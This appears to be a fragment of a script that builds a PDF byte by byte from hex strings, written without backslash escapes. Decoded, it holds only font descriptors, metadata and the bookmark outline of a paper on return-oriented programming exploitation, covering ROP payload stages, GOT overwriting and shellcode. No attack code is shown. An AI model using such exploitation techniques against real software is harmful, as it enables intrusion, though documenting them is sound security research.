header +="x0Ax3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46x6Fx6E"
header +="x74x4Ex61x6Dx65x2Fx48x41x41x41x41x41x2Bx44x65x6A"
header +="x61x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Dx42x6Fx6Cx64"
header +="x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20x31x31x37x20x30"
header +="x20x52x2Fx46x6Cx61x67x73x20x35x2Fx44x65x73x63x65"
header +="x6Ex74x20x2Dx32x33x35x2Fx46x6Fx6Ex74x42x42x6Fx78"
header +="x5Bx2Dx34x34x36x20x2Dx33x39x34x20x37x32x39x20x31"
header +="x30x35x31x5Dx2Fx41x73x63x65x6Ex74x20x39x32x38x2F"
header +="x43x61x70x48x65x69x67x68x74x20x31x30x35x31x2Fx54"
header +="x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74"
header +="x6Fx72x2Fx49x74x61x6Cx69x63x41x6Ex67x6Cx65x20x30"
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x32x30x20"
header +="x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79x70"
header +="x65x2Fx54x72x75x65x54x79x70x65x2Fx46x6Fx6Ex74x44"
header +="x65x73x63x72x69x70x74x6Fx72x20x31x31x38x20x30x20"
header +="x52x2Fx4Cx61x73x74x43x68x61x72x20x37x33x2Fx57x69"
header +="x64x74x68x73x5Bx36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32"
header +="x20x36x30x32x20x36x30x32x20x36x30x32x5Dx2Fx42x61"
header +="x73x65x46x6Fx6Ex74x2Fx48x41x41x41x41x41x2Bx44x65"
header +="x6Ax61x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Dx42x6Fx6C"
header +="x64x2Fx46x69x72x73x74x43x68x61x72x20x30x2Fx54x6F"
header +="x55x6Ex69x63x6Fx64x65x20x31x31x39x20x30x20x52x2F"
header +="x54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0Ax65x6Ex64"
header +="x6Fx62x6Ax0Dx0Ax31x32x32x20x30x20x6Fx62x6Ax0Dx0A"
header +="x3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46x6Fx6Ex74"
header +="x4Ex61x6Dx65x2Fx49x41x41x41x41x41x2Bx44x65x6Ax61"
header +="x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Dx4Fx62x6Cx69x71"
header +="x75x65x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20x31x32x31"
header +="x20x30x20x52x2Fx46x6Cx61x67x73x20x36x39x2Fx44x65"
header +="x73x63x65x6Ex74x20x2Dx32x33x35x2Fx46x6Fx6Ex74x42"
header +="x42x6Fx78x5Bx2Dx34x30x32x20x2Dx33x37x34x20x37x34"
header +="x35x20x31x30x32x37x5Dx2Fx41x73x63x65x6Ex74x20x39"
header +="x32x38x2Fx43x61x70x48x65x69x67x68x74x20x31x30x32"
header +="x37x2Fx54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72"
header +="x69x70x74x6Fx72x2Fx49x74x61x6Cx69x63x41x6Ex67x6C"
header +="x65x20x2Dx33x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D"
header +="x0Ax31x32x34x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53"
header +="x75x62x74x79x70x65x2Fx54x72x75x65x54x79x70x65x2F"
header +="x46x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72x20x31"
header +="x32x32x20x30x20x52x2Fx4Cx61x73x74x43x68x61x72x20"
header +="x35x32x2Fx57x69x64x74x68x73x5Bx36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30"
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x5Dx2Fx42"
header +="x61x73x65x46x6Fx6Ex74x2Fx49x41x41x41x41x41x2Bx44"
header +="x65x6Ax61x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Dx4Fx62"
header +="x6Cx69x71x75x65x2Fx46x69x72x73x74x43x68x61x72x20"
header +="x30x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x31x32x33x20"
header +="x30x20x52x2Fx54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0D"
header +="x0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35x35x20x30x20x6Fx62"
header +="x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20x35x34x20"
header +="x30x20x52x2Fx4Ex65x78x74x20x36x32x20x30x20x52x2F"
header +="x44x65x73x74x5Bx33x20x30x20x52x2Fx58x59x5Ax20x37"
header +="x38x2Ex33x20x37x32x33x2Ex33x20x30x5Dx2Fx43x6Fx75"
header +="x6Ex74x20x30x2Fx54x69x74x6Cx65x28xFExFFx00x20x00"
header +="x31x00x20x00x20x00x49x00x6Ex00x74x00x72x00x6Fx00"
header +="x64x00x75x00x63x00x74x00x69x00x6Fx00x6Ex29x3Ex3E"
header +="x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35x36x20x30x20x6F"
header +="x62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20x35x34"
header +="x20x30x20x52x2Fx44x65x73x74x5Bx34x38x20x30x20x52"
header +="x2Fx58x59x5Ax20x37x38x2Ex33x20x31x36x34x20x30x5D"
header +="x2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65x76x20x35x37"
header +="x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00"
header +="x36x00x20x00x20x00x43x00x6Fx00x6Ex00x63x00x6Cx00"
header +="x75x00x73x00x69x00x6Fx00x6Ex00x73x29x3Ex3Ex0Dx0A"
header +="x65x6Ex64x6Fx62x6Ax0Dx0Ax35x37x20x30x20x6Fx62x6A"
header +="x0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20x35x34x20x30"
header +="x20x52x2Fx4Ex65x78x74x20x35x36x20x30x20x52x2Fx44"
header +="x65x73x74x5Bx34x38x20x30x20x52x2Fx58x59x5Ax20x37"
header +="x38x2Ex33x20x33x35x30x2Ex35x20x30x5Dx2Fx43x6Fx75"
header +="x6Ex74x20x30x2Fx50x72x65x76x20x35x38x20x30x20x52"
header +="x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x35x00x20x00"
header +="x20x00x43x00x6Fx00x75x00x6Ex00x74x00x65x00x72x00"
header +="x6Dx00x65x00x61x00x73x00x75x00x72x00x65x00x73x29"
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35x38x20x30"
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20"
header +="x35x34x20x30x20x52x2Fx4Ex65x78x74x20x35x37x20x30"
header +="x20x52x2Fx44x65x73x74x5Bx33x37x20x30x20x52x2Fx58"
header +="x59x5Ax20x37x38x2Ex33x20x33x35x38x2Ex35x20x30x5D"
header +="x2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65x76x20x35x39"
header +="x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00"
header +="x34x00x20x00x20x00x50x00x75x00x74x00x74x00x69x00"
header +="x6Ex00x67x00x20x00x61x00x6Cx00x6Cx00x20x00x74x00"
header +="x6Fx00x67x00x65x00x74x00x68x00x65x00x72x29x3Ex3E"
header +="x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35x39x20x30x20x6F"
header +="x62x6Ax0Dx0Ax3Cx3Cx2Fx46x69x72x73x74x20x36x30x20"
header +="x30x20x52x2Fx50x61x72x65x6Ex74x20x35x34x20x30x20"
header +="x52x2Fx4Ex65x78x74x20x35x38x20x30x20x52x2Fx44x65"
header +="x73x74x5Bx33x32x20x30x20x52x2Fx58x59x5Ax20x37x38"
header +="x2Ex33x20x36x35x33x2Ex38x20x30x5Dx2Fx43x6Fx75x6E"
header +="x74x20x34x2Fx4Cx61x73x74x20x36x31x20x30x20x52x2F"
header +="x50x72x65x76x20x36x32x20x30x20x52x2Fx54x69x74x6C"
header +="x65x28xFExFFx00x20x00x33x00x20x00x20x00x50x00x72"
header +="x00x61x00x63x00x74x00x69x00x63x00x61x00x6Cx00x20"
header +="x00x52x00x4Fx00x50x00x20x00x65x00x78x00x70x00x6C"
header +="x00x6Fx00x69x00x74x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62"
header +="x6Ax0Dx0Ax36x30x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2F"
header +="x46x69x72x73x74x20x37x36x20x30x20x52x2Fx50x61x72"
header +="x65x6Ex74x20x35x39x20x30x20x52x2Fx4Ex65x78x74x20"
header +="x36x31x20x30x20x52x2Fx44x65x73x74x5Bx33x32x20x30"
header +="x20x52x2Fx58x59x5Ax20x38x35x2Ex35x20x36x31x37x2E"
header +="x32x20x30x5Dx2Fx43x6Fx75x6Ex74x20x32x2Fx4Cx61x73"
header +="x74x20x37x37x20x30x20x52x2Fx54x69x74x6Cx65x28xFE"
header +="xFFx00x20x00x33x00x2Ex00x31x00x20x00x20x00x41x00"
header +="x20x00x63x00x6Fx00x6Dx00x70x00x6Cx00x65x00x74x00"
header +="x65x00x20x00x73x00x74x00x61x00x67x00x65x00x2Dx00"
header +="x30x00x20x00x6Cx00x6Fx00x61x00x64x00x65x00x72x29"
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax36x31x20x30"
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20"
header +="x35x39x20x30x20x52x2Fx44x65x73x74x5Bx33x37x20x30"
header +="x20x52x2Fx58x59x5Ax20x38x35x2Ex35x20x35x36x35x2E"
header +="x34x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65"
header +="x76x20x36x30x20x30x20x52x2Fx54x69x74x6Cx65x28xFE"
header +="xFFx00x20x00x33x00x2Ex00x32x00x20x00x20x00x50x00"
header +="x72x00x61x00x63x00x74x00x69x00x63x00x61x00x6Cx00"
header +="x20x00x52x00x4Fx00x50x00x20x00x67x00x61x00x64x00"
header +="x67x00x65x00x74x00x73x00x20x00x63x00x61x00x74x00"
header +="x61x00x6Cx00x6Fx00x67x29x3Ex3Ex0Dx0Ax65x6Ex64x6F"
header +="x62x6Ax0Dx0Ax36x32x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C"
header +="x2Fx46x69x72x73x74x20x36x33x20x30x20x52x2Fx50x61"
header +="x72x65x6Ex74x20x35x34x20x30x20x52x2Fx4Ex65x78x74"
header +="x20x35x39x20x30x20x52x2Fx44x65x73x74x5Bx38x20x30"
header +="x20x52x2Fx58x59x5Ax20x37x38x2Ex33x20x36x38x38x2E"
header +="x36x20x30x5Dx2Fx43x6Fx75x6Ex74x20x31x33x2Fx4Cx61"
header +="x73x74x20x36x34x20x30x20x52x2Fx50x72x65x76x20x35"
header +="x35x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20"
header +="x00x32x00x20x00x20x00x4Dx00x75x00x6Cx00x74x00x69"
header +="x00x73x00x74x00x61x00x67x00x65x00x20x00x72x00x65"
header +="x00x74x00x75x00x72x00x6Ex00x2Dx00x6Fx00x72x00x69"
header +="x00x65x00x6Ex00x74x00x65x00x64x00x20x00x65x00x78"
header +="x00x70x00x6Cx00x6Fx00x69x00x74x00x61x00x74x00x69"
header +="x00x6Fx00x6Ex00x20x00x74x00x65x00x63x00x68x00x6E"
header +="x00x69x00x71x00x75x00x65x00x20x29x3Ex3Ex0Dx0Ax65"
header +="x6Ex64x6Fx62x6Ax0Dx0Ax36x33x20x30x20x6Fx62x6Ax0D"
header +="x0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20x36x32x20x30x20"
header +="x52x2Fx4Ex65x78x74x20x37x33x20x30x20x52x2Fx44x65"
header +="x73x74x5Bx38x20x30x20x52x2Fx58x59x5Ax20x38x35x2E"
header +="x35x20x36x35x32x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30"
header +="x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00"
header +="x31x00x20x00x20x00x54x00x68x00x65x00x20x00x73x00"
header +="x61x00x6Dx00x70x00x6Cx00x65x00x20x00x76x00x75x00"
header +="x6Cx00x6Ex00x65x00x72x00x61x00x62x00x6Cx00x65x00"
header +="x20x00x70x00x72x00x6Fx00x67x00x72x00x61x00x6Dx29"
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax36x34x20x30"
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x69x72x73x74x20x36"
header +="x35x20x30x20x52x2Fx50x61x72x65x6Ex74x20x36x32x20"
header +="x30x20x52x2Fx44x65x73x74x5Bx33x30x20x30x20x52x2F"
header +="x58x59x5Ax20x38x35x2Ex35x20x37x31x31x2Ex36x20x30"
header +="x5Dx2Fx43x6Fx75x6Ex74x20x33x2Fx4Cx61x73x74x20x36"
header +="x36x20x30x20x52x2Fx50x72x65x76x20x36x37x20x30x20"
header +="x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00x2E"
header +="x00x35x00x20x00x20x00x53x00x74x00x61x00x67x00x65"
header +="x00x2Dx00x31x00x20x00x70x00x61x00x79x00x6Cx00x6F"
header +="x00x61x00x64x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D"
header +="x0Ax36x35x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61"
header +="x72x65x6Ex74x20x36x34x20x30x20x52x2Fx4Ex65x78x74"
header +="x20x37x35x20x30x20x52x2Fx44x65x73x74x5Bx33x30x20"
header +="x30x20x52x2Fx58x59x5Ax20x39x39x2Ex35x20x36x30x32"
header +="x2Ex35x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx54x69"
header +="x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00x35x00x2E"
header +="x00x31x00x20x00x20x00x43x00x68x00x61x00x69x00x6E"
header +="x00x65x00x64x00x20x00x72x00x65x00x74x00x2Dx00x74"
header +="x00x6Fx00x2Dx00x6Cx00x69x00x62x00x63x00x20x00x63"
header +="x00x61x00x6Cx00x6Cx00x73x29x3Ex3Ex0Dx0Ax65x6Ex64"
header +="x6Fx62x6Ax0Dx0Ax36x36x20x30x20x6Fx62x6Ax0Dx0Ax3C"
header +="x3Cx2Fx50x61x72x65x6Ex74x20x36x34x20x30x20x52x2F"
header +="x44x65x73x74x5Bx33x32x20x30x20x52x2Fx58x59x5Ax20"
header +="x39x39x2Ex35x20x37x33x35x2Ex33x20x30x5Dx2Fx43x6F"
header +="x75x6Ex74x20x30x2Fx50x72x65x76x20x37x35x20x30x20"
header +="x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00x2E"
header +="x00x35x00x2Ex00x33x00x20x00x20x00x52x00x4Fx00x50"
header +="x00x20x00x73x00x68x00x65x00x6Cx00x6Cx00x63x00x6F"
header +="x00x64x00x65x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D"
header +="x0Ax36x37x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x69"
header +="x72x73x74x20x36x38x20x30x20x52x2Fx50x61x72x65x6E"
header +="x74x20x36x32x20x30x20x52x2Fx4Ex65x78x74x20x36x34"
header +="x20x30x20x52x2Fx44x65x73x74x5Bx32x30x20x30x20x52"
header +="x2Fx58x59x5Ax20x38x35x2Ex35x20x31x34x34x2Ex39x20"
header +="x30x5Dx2Fx43x6Fx75x6Ex74x20x33x2Fx4Cx61x73x74x20"
header +="x36x39x20x30x20x52x2Fx50x72x65x76x20x37x30x20x30"
header +="x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00"
header +="x2Ex00x34x00x20x00x20x00x52x00x65x00x73x00x6Fx00"
header +="x6Cx00x76x00x69x00x6Ex00x67x00x20x00x6Cx00x69x00"
header +="x62x00x63x00x20x00x61x00x64x00x64x00x72x00x65x00"
header +="x73x00x73x00x65x00x73x29x3Ex3Ex0Dx0Ax65x6Ex64x6F"
header +="x62x6Ax0Dx0Ax36x38x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C"
header +="x2Fx50x61x72x65x6Ex74x20x36x37x20x30x20x52x2Fx4E"
header +="x65x78x74x20x37x34x20x30x20x52x2Fx44x65x73x74x5B"
header +="x32x32x20x30x20x52x2Fx58x59x5Ax20x39x39x2Ex35x20"
header +="x36x36x32x2Ex31x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30"
header +="x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00"
header +="x34x00x2Ex00x31x00x20x00x20x00x47x00x4Fx00x54x00"
header +="x20x00x6Fx00x76x00x65x00x72x00x77x00x72x00x69x00"
header +="x74x00x69x00x6Ex00x67x29x3Ex3Ex0Dx0Ax65x6Ex64x6F"
header +="x62x6Ax0Dx0Ax36x39x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C"
header +="x2Fx50x61x72x65x6Ex74x20x36x37x20x30x20x52x2Fx44"
header +="x65x73x74x5Bx32x36x20x30x20x52x2Fx58x59x5Ax20x39"
header +="x39x2Ex35x20x34x30x35x20x30x5Dx2Fx43x6Fx75x6Ex74"
header +="x20x30x2Fx50x72x65x76x20x37x34x20x30x20x52x2Fx54"
header +="x69x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00x34x00"
header +="x2Ex00x33x00x20x00x20x00x41x00x76x00x61x00x69x00"
header +="x6Cx00x61x00x62x00x69x00x6Cx00x69x00x74x00x79x00"
header +="x20x00x6Fx00x66x00x20x00x47x00x4Fx00x54x00x20x00"
header +="x6Dx00x61x00x6Ex00x69x00x70x00x75x00x6Cx00x61x00"
header +="x74x00x69x00x6Fx00x6Ex00x20x00x67x00x61x00x64x00"
header +="x67x00x65x00x74x00x73x29x3Ex3Ex0Dx0Ax65x6Ex64x6F"
header +="x62x6Ax0Dx0Ax37x30x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C"
header +="x2Fx46x69x72x73x74x20x37x31x20x30x20x52x2Fx50x61"
header +="x72x65x6Ex74x20x36x32x20x30x20x52x2Fx4Ex65x78x74"
header +="x20x36x37x20x30x20x52x2Fx44x65x73x74x5Bx31x34x20"
header +="x30x20x52x2Fx58x59x5Ax20x38x35x2Ex35x20x37x33x35"
header +="x2Ex33x20x30x5Dx2Fx43x6Fx75x6Ex74x20x32x2Fx4Cx61"
header +="x73x74x20x37x32x20x30x20x52x2Fx50x72x65x76x20x37"
header +="x33x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20"
header +="x00x32x00x2Ex00x33x00x20x00x20x00x53x00x74x00x61"
header +="x00x67x00x65x00x2Dx00x30x00x20x00x70x00x61x00x79"
header +="x00x6Cx00x6Fx00x61x00x64x00x20x00x6Cx00x6Fx00x61"
header +="x00x64x00x65x00x72x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62"
header +="x6Ax0Dx0Ax37x31x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2F"
header +="x50x61x72x65x6Ex74x20x37x30x20x30x20x52x2Fx4Ex65"
header +="x78x74x20x37x32x20x30x20x52x2Fx44x65x73x74x5Bx31"
header +="x34x20x30x20x52x2Fx58x59x5Ax20x39x39x2Ex35x20x35"
header +="x37x31x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx54x69"
header +="x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00x33x00x2E"
header +="x00x31x00x20x00x20x00x52x00x65x00x74x00x75x00x72"
header +="x00x6Ex00x2Dx00x74x00x6Fx00x2Dx00x70x00x6Cx00x74"
header +="x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x32x20"
header +="x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74"
header +="x20x37x30x20x30x20x52x2Fx44x65x73x74x5Bx31x36x20"
header +="x30x20x52x2Fx58x59x5Ax20x39x39x2Ex35x20x32x37x31"
header +="x2Ex38x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx50x72"
header +="x65x76x20x37x31x20x30x20x52x2Fx54x69x74x6Cx65x28"
header +="xFExFFx00x20x00x32x00x2Ex00x33x00x2Ex00x32x00x20"
header +="x00x20x00x54x00x68x00x65x00x20x00x6Cx00x6Fx00x61"
header +="x00x64x00x65x00x72x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62"
header +="x6Ax0Dx0Ax37x33x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2F"
header +="x50x61x72x65x6Ex74x20x36x32x20x30x20x52x2Fx4Ex65"
header +="x78x74x20x37x30x20x30x20x52x2Fx44x65x73x74x5Bx38"
header +="x20x30x20x52x2Fx58x59x5Ax20x38x35x2Ex35x20x32x36"
header +="x38x2Ex38x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx50"
header +="x72x65x76x20x36x33x20x30x20x52x2Fx54x69x74x6Cx65"
header +="x28xFExFFx00x20x00x32x00x2Ex00x32x00x20x00x20x00"
header +="x41x00x20x00x63x00x75x00x73x00x74x00x6Fx00x6Dx00"
header +="x20x00x73x00x74x00x61x00x63x00x6Bx00x20x00x61x00"
header +="x74x00x20x00x66x00x69x00x78x00x65x00x64x00x20x00"
header +="x6Cx00x6Fx00x63x00x61x00x74x00x69x00x6Fx00x6Ex29"
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x34x20x30"
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20"
header +="x36x37x20x30x20x52x2Fx4Ex65x78x74x20x36x39x20x30"
header +="x20x52x2Fx44x65x73x74x5Bx32x34x20x30x20x52x2Fx58"
header +="x59x5Ax20x39x39x2Ex35x20x34x35x32x2Ex35x20x30x5D"
header +="x2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65x76x20x36x38"
header +="x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00"
header +="x32x00x2Ex00x34x00x2Ex00x32x00x20x00x20x00x47x00"
header +="x4Fx00x54x00x20x00x64x00x65x00x72x00x65x00x66x00"
header +="x65x00x72x00x65x00x6Ex00x63x00x69x00x6Ex00x67x29"
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x35x20x30"
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20"
header +="x36x34x20x30x20x52x2Fx4Ex65x78x74x20x36x36x20x30"
header +="x20x52x2Fx44x65x73x74x5Bx33x30x20x30x20x52x2Fx58"
header +="x59x5Ax20x39x39x2Ex35x20x31x39x39x2Ex36x20x30x5D"
header +="x2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65x76x20x36x35"
header +="x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00"
header +="x32x00x2Ex00x35x00x2Ex00x32x00x20x00x20x00x52x00"
header +="x65x00x74x00x75x00x72x00x6Ex00x2Dx00x74x00x6Fx00"
header +="x2Dx00x6Dx00x70x00x72x00x6Fx00x74x00x65x00x63x00"
header +="x74x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x36"
header +="x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6E"
header +="x74x20x36x30x20x30x20x52x2Fx4Ex65x78x74x20x37x37"
header +="x20x30x20x52x2Fx44x65x73x74x5Bx33x32x20x30x20x52"
header +="x2Fx58x59x5Ax20x39x39x2Ex35x20x35x32x31x2Ex39x20"
header +="x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx54x69x74x6Cx65"
header +="x28xFExFFx00x20x00x33x00x2Ex00x31x00x2Ex00x31x00"
header +="x20x00x20x00x54x00x75x00x72x00x6Ex00x20x00x61x00"
header +="x6Ex00x79x00x20x00x66x00x75x00x6Ex00x63x00x74x00"
header +="x69x00x6Fx00x6Ex00x20x00x74x00x6Fx00x20x00x73x00"
header +="x74x00x72x00x63x00x70x00x79x00x5Cx28x00x5Cx29x00"
header +="x20x00x2Fx00x20x00x70x00x72x00x69x00x6Ex00x74x00"
header +="x66x00x5Cx28x00x5Cx29x29x3Ex3Ex0Dx0Ax65x6Ex64x6F"
header +="x62x6Ax0Dx0Ax37x37x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C"
header +="x2Fx50x61x72x65x6Ex74x20x36x30x20x30x20x52x2Fx44"
header +="x65x73x74x5Bx33x37x20x30x20x52x2Fx58x59x5Ax20x39"
header +="x39x2Ex35x20x37x33x35x2Ex33x20x30x5Dx2Fx43x6Fx75"
header +="x6Ex74x20x30x2Fx50x72x65x76x20x37x36x20x30x20x52"
header +="x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x33x00x2Ex00"
header +="x31x00x2Ex00x32x00x20x00x20x00x52x00x4Fx00x50x00"
header +="x20x00x73x00x74x00x61x00x67x00x65x00x2Dx00x30x00"
header +="x20x00x6Cx00x6Fx00x61x00x64x00x65x00x72x29x3Ex3E"
header +="x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x38x20x30x20x6F"
header +="x62x6Ax0Dx0Ax3Cx3Cx2Fx43x6Fx75x6Ex74x20x32x31x2F"
header +="x54x79x70x65x2Fx50x61x67x65x73x2Fx4Bx69x64x73x5B"
header +="x38x33x20x30x20x52x20x31x20x30x20x52x20x33x20x30"
header +="x20x52x20x38x20x30x20x52x20x31x32x20x30x20x52x20"
header +="x31x34x20x30x20x52x20x31x36x20x30x20x52x20x32x30"
header +="x20x30x20x52x20x32x32x20x30x20x52x20x32x34x20x30"
header +="x20x52x20x32x36x20x30x20x52x20x33x30x20x30x20x52"
header +="x20x33x32x20x30x20x52x20x33x37x20x30x20x52x20x34"
header +="x30x20x30x20x52x20x34x32x20x30x20x52x20x34x34x20"
header +="x30x20x52x20x34x36x20x30x20x52x20x34x38x20x30x20"
header +="x52x20x35x30x20x30x20x52x20x35x32x20x30x20x52x5D"
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x39x20x30"
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79x70x65"
header +="x2Fx58x4Dx4Cx2Fx4Cx65x6Ex67x74x68x20x33x37x36x30"
header +="x2Fx54x79x70x65x2Fx4Dx65x74x61x64x61x74x61x3Ex3E"
header +="x73x74x72x65x61x6Dx0Dx0Ax3Cx3Fx78x70x61x63x6Bx65"
header +="x74x20x62x65x67x69x6Ex3Dx22xEFxBBxBFx22x20x69x64"
header +="x3Dx22x57x35x4Dx30x4Dx70x43x65x68x69x48x7Ax72x65"
header +="x53x7Ax4Ex54x63x7Ax6Bx63x39x64x22x3Fx3Ex0Dx0Ax3C"
header +="x78x3Ax78x6Dx70x6Dx65x74x61x20x78x6Dx6Cx6Ex73x3A"
header +="x78x3Dx22x61x64x6Fx62x65x3Ax6Ex73x3Ax6Dx65x74x61"
header +="x2Fx22x20x78x3Ax78x6Dx70x74x6Bx3Dx22x41x64x6Fx62"
header +="x65x20x58x4Dx50x20x43x6Fx72x65x20x34x2Ex30x2Dx63"
header +="x33x31x36x20x34x34x2Ex32x35x33x39x32x31x2Cx20x53"
header +="x75x6Ex20x4Fx63x74x20x30x31x20x32x30x30x36x20x31"
header +="x37x3Ax31x34x3Ax33x39x22x3Ex0Dx0Ax20x20x20x3Cx72"
